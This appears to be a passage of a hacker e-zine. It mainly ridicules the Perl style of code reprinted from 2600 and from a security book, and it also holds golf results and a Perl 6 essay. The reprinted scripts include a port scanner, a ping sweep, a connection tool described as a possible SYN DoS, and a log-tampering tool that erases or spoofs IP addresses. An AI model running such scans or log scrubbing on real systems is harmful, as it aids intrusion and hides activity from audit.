+$&%1859^7/egfor$...3999,u.$_;$_=$@
TedYoung was the surprise packet of the tournament. He has clearly moved to a higher golfing plane
since 2002.
2. Juho Snellman (102.54)
Juho Snellman is a brilliant golfer, having competed in six tournaments in the 2002 TPR season
finishing the season in 6th place, with winnings of $1,264,000.
#!perl -pl
$_=${s!.!y$XLIVC246,-:$CDXLMVIX$dfor$$_.=8x$&*5%29628;$$$_=$_!gefor-4e
+3..s''$'/y/isl-~/-$+/d;eval}
Juho put in a really gutsy performance, gallantly leading the pack relentlessly pursuing ton during
the last days. Indeed, only failing to unearth ton's little *_=eval "More fun with globs" trick
prevented Juho from sharing first place in this competition.
1. ton (99.56)
ton (aka thospel) is a legendary golfer, having competed in ten tournaments in the 2002 TPR season
finishing the season in 1st place, with winnings of $4,384,000 ($4,384,350 now ;-).
#!perl -pl
s!.!y$IVCXL426(-:$XLMCDIVX$dfor$$_.=5x$&*8%29628;$$$_=$_!egfor-4e3..y/
+iul-}/-$+ /%s''$';*_=eval
In addition to breaking the magic 100 barrier, ton managed to concoct the first known functional
smiley in a golf winner's solution. (-:
Since ton invented the magic formula in the first place, I feel he was a most worthy winner.
Congratulations thospel!
References
USD $350 Cash First Prize for Perl Golf Competition
Perl Golf Ethics
TPR Golf Contests
Original Polish Golf where Ton first used his magic formula
Terje/mtv pdf book about Perl Golf
perl golf mailing list archive
Final TPR Career Money Leader List
Golf competitions in Perl, Ruby, Python or PHP
`/anick's BoG (Book of Golfers)
The Lighter Side of Perl Culture (Part IV): Golf
Acknowledgements: I'd like to thank cog for writing the Acme::AsciiArt2HtmlTable module, which was
used to generate the little pictures above. I'd also like to thank Samy Kamkar of LA.pm for
refereeing the Fonality tournament on his own. Update: I seem to have hit the size limit of a
meditation, anyway the last bit got chopped off, so I had to remove the little orange picture of
pijll to get it to fit. :-( Update: Added new "Tactical Tricks" section (thanks thospel) and
expanded "Top Ten Countdown" section a bit.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 11384 2007-02-26 18:17 laugh/2600.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Calvin> She'll never expect a snowball in JUNE! Boy, will she be mad! Ha ha ha!
Wow, 2600 has taken a lot recently. First Zero For 0wned features their IRC
network in their debut issue, and now we do their Perl.
We were actually getting low on material, so we decided to sink to 2600. It
didn't turn out very well as they didn't have any credibility BEFORE we got
to them.
As a friend of mine once put it:
18:36 <nick_removed> 2600 folk are the worst breed of hacker
18:37 <nick_removed> if you can even call them that
18:37 <nick_removed> maybe confused anti-establishment morons would be a better term
So, on with the show!
#!/usr/bin/perl -w
# -w eh? What's next, $^W ?
# use warnings;
#
# A simple program to open a TCP port. Useful for
# testing SYN packet issues on state-like firewalls.
#
# [url]http://www.assdingos.com/grass/[/url]
#
# Shout outs: Cat5, Rijendaly Llama, chix0r, alx0r,
# exial, stormdragon, lucid_fox,
# Deathstroke, Harkonen, daverb and
# eXoDuS (YNBABWARL!)
#
# Some code used from snacktime.pl
# [url]http://www.planb-security.net/wp/snacktime.html[/url]
# (C) Tod Beardsley
#
# Copyright (C) Gr@ve_Rose
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
#
# Blah, blah, blah.
# POD. Learn to love it.
use warnings; # Hmmm... nice job on starting the interpreter with warnings enabled, and then
enabling them again!
use strict;
use Getopt::Std;
use IO::Socket::INET;
# IPv6 Support - README
# To get IPv6 support you will need to install two
# additional Perl modules: Socket6 and IO-Socket-INET6
# First, download each package from CPAN:
# Socket6 -> [url]http://search.cpan.org/CPAN/authors/id/U/UM/UMEMOTO/Socket6-0.17.tar.gz[/url]
# INET6 -> [url]http://search.cpan.org/CPAN/authors/id/M/MO/MONDEJAR/IO-Socket-INET6-2.51.tar.gz[/url]
# Once downloaded, uncompress each file and go into
# the new directories. Run the command (as r00t):
# perl ./Makefile.PL && make && make install
# in each directory to install the modules. You need to
# install Socket6 first.
# Finally, uncomment the line below and enjoy.
# That's all included in the IO::Socket::INET6 install docs, and there's no need for it here.
use IO::Socket::INET6;
# This wasn't commented.
$| = 1 ; # Get rid of the buffer and dump to STDOUT
my %options;
getopts('m:t:p:s:x:',\%options) || usage();
# Are we asking for the man page? If so, stop here and go there.
if ($options{m}) {
man();
die; # You're already die()'ing in the man() subroutine, why die again?
}
# Do we have a Target IP?
if (not $options{t}) {
print "\r\n";
print " [*************ERROR**************]";
print "\n";
print " --==[You forgot the target IP Address]==--";
print "\n";
print " [*************ERROR**************]";
print "\r\n";
# Wow... Maybe try: print qq(...); ? Seriously, maybe you
# should check out perlintro(1).
usage();
die; # Again, we'll never get here.
}
# Do we have a Target Port?
if (not $options{p}) {
print "\r\n";
print " [**********ERROR***********]";
print "\n";
print " --==[You forgot the target Port]==-";
print "\n";
print " [**********ERROR***********]";
print "\r\n";
# You just don't get it, do you?
usage();
die;
}
# Do we have a Local Source Port?
if (not $options{s}) {
print "\r\n";
print " [**********ERROR***********]";
print "\n";
print " --==[You forgot the source Port]==-";
print "\n";
print " [**********ERROR***********]";
print "\r\n";
# Please, somebody make it stop....
usage();
die;
}
# Default to IPv4 or if specified
if (not $options{x} or $options{x} == "4") {
my $socket = IO::Socket::INET -> new(PeerAddr => $options{t}, PeerPort => $options{p},
LocalPort => $options{s}, Proto => 'tcp');
# No error checking on the socket?
# my $socket = IO::Socket::INET -> new (...) or die "Can't connect to ", $host, ":", $port,
"\n";
my $gigo = "\r\n"; # A basic [ENTER] button to send if you want.
# See the blurb below for usage of this variable
# Go ahead and modify this for a specific protcol
# like HELO (port 25), or an HTTP GET request.
# If you would like to send a basic [ENTER] (Or whatever you've created)
# to the socket once connected, replace:
# print $socket
# listed below with:
# print $socket $gigo
# More crazy comments
printf "\r\nAttempting to connect... (IPv4)\r\n^C sends a FIN packet whenever you are ready
to close the connection.\r\n \r\n";
# printf() now eh? Nice way to change your coding style midway through.
# And why are you using "\r\n" ? Are you a Windows user or what?
printf $socket || die "There was an error in the connection. Check the following:\r\n-
Closed/filtered port?\r\n- If you are using the same source port, the TCP connection may not have
ended. Send a FIN/RST or wait until your TCP End Timeout has been reached.\r\n \r\n";
# Great, an error message that will never be reached. You see,
# IO::Socket::INET (and IO::Socket::INET6) will report that the
# connection failed. Maybe if you had done proper error checking (like
# was included above) you wouldn't have to have this long a pointless printf().
while (<$socket>) {
print $_;
}
}
# If IPv6 is explicitly defined in the command variable...
if ($options{x} == "6") {
# Who's up for some code reuse?
my $socket = IO::Socket::INET6 -> new(PeerAddr => $options{t}, PeerPort => $options{p},
LocalPort => $options{s}, Proto => 'tcp');
my $gigo = "\r\n"; # See note above for $gigo usage...
printf "\r\nAttempting to connect... (IPv6)\r\n^C sends a FIN packet whenever you are ready
to close the connection.\r\n \r\n";
printf $socket || die "There was an error in the connection. Check the following:\r\n-
Closed/filtered port?\r\n- If you are using the same source port, the TCP connection may not have
ended. Send a FIN/RST or wait until your TCP End Timeout has been reached.\r\n \r\n";
while (<$socket>) {
print $_;
}
}
sub usage {
# I like how you call die here, and then die again after calling the routine.
# Hey, you do know how to use here-docs. Why not use them to print your silly errors?
die <<EOH;
Grave_Rose\'s Atomically Small SYN - A small SYN sending program
Version 0.5
Usage: grass.pl -t [IP_to_connect_to] -p [DST_Port] -s [SRC_Port] (-x [4][6]) (-man)
-t MUST be present (Who are you sending the packet to?)
-p MUST be present (What port are you opening?)
-s MUST be present (Why would you want a dynamic source port?)
-x MAY be present - Use "-x 6" for IPv6 instead of IPv4
(Defaults to IPv4 if not present)
-man - Shows the mini-man page for further information
If you\'re seeing this message, you didn\'t get the memo.
There is additional information in the source of this program so if
you have any questions, look in the source before bugging me about
anything. All you have to do, is open grass.pl in your favourite
text editor and look at some of the comments.
Grave_Rose
EOH
}
sub man {
# Same issue, you die here, and then you die again.
die <<EOM;
G.R.A.S.S. Mini-Man Page
NAME
grass.pl - A small Perl SYN program
SYNOPSIS
grass.pl -t [IP_to_connect_to] -p [DST_Port] -s [SRC_Port] (-x [4][6]) (-man)
DESCRIPTION
grass.pl is a program intended to assist in troubleshooting network related issues
specifically with SYN and Source-Port troubles. You can use grass.pl to either act
as a "door-jam" for a SYN connection by starting it first or use it once an established
connection is already in place and you want to cause an effect from the same source
port as the previous connection.
OPTIONS
-t Specifies the Target IP address. This value *MUST* be present and can be either
IPv4 (Default) or IPv6 (See -x below).
-p Specifies the Target Port. This value *MUST* be present.
-s Specifies the Source Port. This value *MUST* be present.
-x Select IPv4 (Default or -x4) or IPv6 (-x6). For IPv6 to work, you *MUST* have the
Socket6 and IO::Socket::INET6 Perl Modules installed as well as a capable IPv6-enabled
interface.
RETURN VALUES
If a successful TCP connection is made, the IO::Socket::INET(6) will return a GLOB
from the connection. In the event the connection is unsuccessful, an error message
will be printed. If one of the three *MUST* options are missing, an error message
will be printed and will tell you which one you are missing.
EXAMPLES
Open port 80 on 10.11.12.13 from a source port of 31377:
./grass.pl -t 10.11.12.13 -p 80 -s 31337
Open port 110 on fec0:c0ff:ee01::1 from a source port of 5678:
./grass.pl -t fec0:c0ff:ee01::1 -p 110 -s 5678 -x 6
SECURITY NOTES
As long as you have access to Perl, this program has the potential to be a complete
SYN DoS program. It is *STRONGLY* suggested that you use this program with restraint
as basic "while" looping can change the program from "Happy Troubleshooting Tool" to
"Evil Script O' Death". Just as a hammer can be a tool or a weapon, I designed this
to be a tool and not a weapon. If this program ends up DoS-ing your network, take
action against the person who did this and not against me.
BUGS
Using the -m(an) switch... You can type anything after the letter "m" and you will get
this mini-man page. Using -m by itself does nothing though.
Yes, even: ./grass.pl -man am I drunk
EOM
}
#!/usr/bin/perl
# I swear to god, this actually made it into the zine.
# 23:3 page 29.
# No warnings? No lexical variables?
# use strict;
# use warnings;
use IO::Socket::INET;
my $port = 1;
$file = "/home/retail/perl/ports.txt";
# Why do you declare $port with my, and then make $file a package variable?
while($port < 10000){
# You've got to be kidding me...
# See, in Perl, we have this nifty thing called a for() loop.
# It's very useful in situations like this.
# for my $port (1..10000) {
# ...
# }
$sock = IO::Socket::INET -> new(PeerAddr => '172.21.101.11',
PeerPort => $port,
Proto => 'tcp',
Timeout => '1'); #Because we really need to quote
numbers.
open(LIST, ">>$file"); # or die "open(): error: Can't open ", $file, "\n";
# Yea, that's right, lets open() $file 10000 times, when we could just
# open it once, if we put this above the loop.
if ($sock){
close($sock); # Ewww.... parens...
print "$port -open\n"; # Quoting vars as well as integars now, are we?
# print $port, " -open\n";
print LIST "$port -open\n";
$port = $port + 1; # .... Are you serious? Why not $port =+ 1; ?
# Or $port++; ?
# Or avoid that all together with the
# for() loop mentioned previously.
}
else{ # I'm not even going to bother...
print "$port -closed\n";
$port = $port + 1;
}
}
close(LIST); # *sigh*
# exit;
#!/usr/bin/perl
# I was considering not putting this in the zine; it reflects badly on us.
# I also don't think this needs any comments.
$subnet = 000;
while($subnet <= 255){
system("ping -q -c 1 -w 1 172.21.$subnet.11");
$subnet = $subnet + 1;
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 897 2007-02-26 18:15 rant/saltmarsh.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Assuming a nonchalent air, I walked over to the plank down which workmen were dragging empty
barrows.
"Greetings, mates. Good luck to you."
The response was utterly unexpected. The first workman, a sturdy grey-haired old man with trousers
rolled to the knee and sleeves to the shoulder, exposing a sinewy bronzed body, did not hear me and
walked past without paying me any notice. The second workman, a young chap with brown hair and grey
eyes, threw me a hostile glance and made a face, throwing in a coarse oath for good measure. The
third--evidently a Greek, for he was as brown as a beetle and had curly hair--expressed his regret
that his hands were occupied and therefore he could not introduce his first to my nose. This was
said in a tone of indifference inconsonant with the desire expressed. The fourth shouted at the top
of his lungs: "Hullo, glass-eye!" and tried to give me a kick.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 3636 2007-02-26 18:14 school/perl6.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Why Perl 6 is taking so !@#$ long
by dragonchild
A lot of posts have been cropping up recently about Perl 6 and the common thread seems to be "It's
taking soooooooo long!" I'd like to explain, as a sometime contributor, why I think the process is
taking so bloody long. In no particular order ...
There's two projects - the Perl 6 language and the Parrot VM. The more ambitious project, in terms
of implementation, has always been Parrot. It's been almost 6 years since Dan started it and it
will probably be another 2-3 years before I would build something on top of it.
It's taking so long because you only get two of "Fast, Good, Cheap". Since anything associated with
Perl has to be Good, it's a Fast-Cheap scale. There's about 10 developers, nearly all of which are
volunteer, with another 20-30 testers. To me, that's high on the Cheap factor, which means that
things are going to be very slow. You're more than welcome to help fix that. I'm sure that Parrot
would be avaible in 6 months if all the developers were able to work on Parrot as their fulltime
job. All you need to do is pay them. IMHO, all the developers are worth at least US$100/hr.
But, that doesn't explain what's taking an average of 250 development hours/week for 9 years. (For
the math-impaired, that's 7500 development hours/year, or 67_500 development hours total.) Well,
here's a partial high-level list of the requirements on Parrot (in no particular order):
Fast
Reliable
Runs on every OS known to man
As parsimonious with RAM as possible
Unicode aware
Handles continutations and coroutines and treats functions as first-class data
Is threaded
Is garbage-collected
I don't know about you, but that's a very tall order. In comparison, the Java VM (which started 15
years ago and had 13 fulltime development staff for several years) only achieved half of those
requirements after 10 years of development and use.
Perl 6 isn't about fixing Perl 5's problems. Well, it is, but not within the Perl 5 framework.
The issue is that Perl 5 is too successful. P5 is over 10 years old, but Perl itself is not even
20. That should say something about how good Perl5 is. For something to replace that, it has to be
seriously better. Like, radically better. Some of the features in Perl 6 I'm excited about (in no
particular order):
Lexical grammar changes
Everything is an object, but only if I want to think of them that way
This means code is an object that I can manipulate
tie and overload both go away
I can change both the syntax and semantics of the language within a lexical scope
I have access to a real OO metamodel
That's some serious power! Don't worry if you don't understand the words ... just bask in the
knowledge that CP6AN is going to seriously rock.
Yet, with all that power, P6 will still provide all the scripty-doo and one-liner power that you've
come to expect from P5. In fact, you will still be able to write pure P5 code within P6. Name
another language that's completely and 100% backwards compatible after a major version upgrade.
Perl6 is exploring some uncharted territory in terms of programming theory. The P6l mailing list
happens to be very near the forefront of OO metamodels, roles/traits/mixins, parsing theory ... the
list goes on. It's not like all the theory has been laid out and P6l just has to cherrypick the
features it wants to add. P6l is creating some of the theory as it goes along! If that doesn't give
you the warm fuzzies, I don't know what will.
In short, Perl 6 is taking so long because it has to. If it didn't, then it wouldn't be a worthy
successor to Perl 5. You do want a worthy successor, don't you?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 5326 2007-02-26 18:12 laugh/foster_and_burnett.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Calvin> By golly, no monsters are going to get US tonight! Wither and die, bloodsucking freaks of nature!!
James C. Foster is one of the authours of the book Sockets, Shellcode, Porting and Coding: Reverse
Engineering Exploits and Tool Coding for Security Professionals. With a title like that, the book sounded
like it may be interesting. After flipping through the contents, and noticing a section that served as an
intro to Perl, I was pretty psyched. After all, these guys put the word coding in thier title, so they must
be good. I was shocked when I opened up to that section, and saw absolute trash in place of Perl. Then I
remembered that these were "security professionals".
The following appeared on pages 50 - 53 of Sockets, Shellcode, Porting and Coding: Reverse Engineering
Exploits and Tool Coding for Security Professionals.
#!/usr/bin/perl
##
# No strict?
# No warnings?
##
#Logz version 1.0
#By: James C. Foster
#Released by James C Foster & Mark Burnett at BlackHat Windows 2004 in Seattle
#January 2004
##
# Lame authour info.
##
use Getopt::Std;
getops('d:t:rhs:l') || usage();
##
# Are you kidding me?
# If this is a mark of what's to come, I should
# have fun with this one...
##
$logfile = $opt_l;
##
# Because that's *really* needed.
##
########
if ($opt_h == 1)
{
usage();
}
##
# BWAHAHAAHAHAHA. And these guys are "professionals".
# Try this: usage() if $opt_h;
# Clean, eh?
##
#######
if ($opt_t ne "" && $opt_s eq "")
{
##
# Great if() there buddy. You're obviously a great Perl coder, and completly understand
# the language.
##
open (FILE, "$logfile");
##
# Hmm... you market yourself as a *security* professional, and
# you don't know the secure way to open() a file in Perl?
# Very dubious.
# Also, great job with the random, un-needed, quotes.
# On a sperate note, wouldn't it be better to open the logfile up at the top of
# the script, and cut down on redundant code?
##
while (<FILE>)
{
##
# Yes, he actually spaced it like this.
##
$ranip=randomip();
s/$opt_t/$ranip/;
push(@templog,$_);
next;
}
close FILE;
open (FILE2, ">$logfile") || die ("couldn't open.\n");
##
# Wheeee! Another bad call to open()!
##
print FILE2"@templog";
##
# Yes, that was actually spaced like that.
##
close FILE2;
}
#######
if ($opt_s ne "")
{
##
# This looks familiar...
# Here's an idea, Mr. Whitehat genuis, why not open the file, run it through a while() loop,
# and *then* check and see what arguments you were given, and do the needed actions. Makes sense, eh?
# Cuts back on redundant code, and makes it look like you actually know something.
##
open (FILE, "$logfile");
while (<FILE>)
{
s/$opt_t/$opt_s/;
push(@templog,$_);
next;
}
close FILE;
open (FILE2, ">$logfile") || die("couldn't open");
print FILE2"@templog";
close FILE2;
}
#######
if ($opt_r ne "")
{
##
# Please, make it stop...
##
open (FILE, "$logfile");
while (<FILE>)
{
$ranip=randomip();
s/((\d+)\.(\d+)\.(\d+)\.(\d+))/$ranip/;
push(@templog,$_);
next;
}
close FILE;
open (FILE2, ">$logfile") || die("couldn't open");
print FILE2"@templog";
close FILE2;
}
#######
if ($opt_d ne "")
{
##
# I'm not even going to bother...
##
open (FILE, "$logfile");
while (<FILE>)
{
if (/.*$opt_d.*/)
{
next;
}
push(@templog,$_);
next;
}
close FILE;
open (FILE2, ">$logfile") || die("couldn't open");
print FILE2"@templog";
close FILE2;
}
#######
sub usage
{
print "\nLogz v1.0 - Microsoft Windows Multi-purpose Log Modification Utility\n";
print "Developed by: James C. Foster for BlackHat Windows 2004\n";
print "Idea Generated and Presented by: James C. Foster and Makr Burnett\n\n";
print "Usage: $0 [-options *]\n\n";
print "\t-h\t\tHelp menu\n";
print "\t-d ipAddress\t: Delete Log Entries with the Corresponding IP address\n";
print "\t-r\t\t: Replace all IP addresses with Random IP addresses\n";
print "\t-t targetIP\t: Replace the Target Address (with random IP addresses if none is specified)\n";
print "\t-s spoofedIP\t: Use this IP Address to replace the Target Address (optional)\n";
print "\t-l logfile\t: Logfile You Wish to Manipulate\n\n";
print "\tExample: logz.pl -r -l IIS.log\n";
print "\t logz.pl -t 10.1.1.1 -s 20.2.3.219 -l myTestLog.txt\n";
print "\t logz.pl -d 192.10.9.14 IIS.log\n";
##
# Wow, you devoted more time to the usage() subroutine than you did to the actual body of the script!
# Congrats!
# You whitehats disgust me. Saying that The "Idea was Generated and Presented" by you.
# Wow! What a brain wave! Let's use a scripting language with powerful built in string parsing
# and manipulation features to make a log editor! Then we can market it!! Smells like $$$ !!!
# Get a clue. And BTW, we have a little something called qq(). Jesus.
# Make an effort to learn the language next time.
##
}
sub randomip
{
##
# Hmm, aren't some of these scalars considered special variables?
##
$a = num();
$b = num();
$c = num();
$d = num();
$dot = '.';
$total = "$a$dot$b$dot$c$dot$d";
##
# ... HAHAHAHAHAHAHAH
# I haven't laughed that hard since rave got owned in h0no3!!
# my $total = $a . "." . $b . "." . $c . "." . $d;
##
return $total;
}
sub num
{
##
# Because this *clearly* needed its own subroutine.
##
$random = int( rand(230)) + 11;
return $random;
}
This was pathetic. I hope someone owns you and drops your spools.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 3072 2007-02-26 18:12 laugh/jon_erickson.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Hobbes> You know, there are times when it's a source of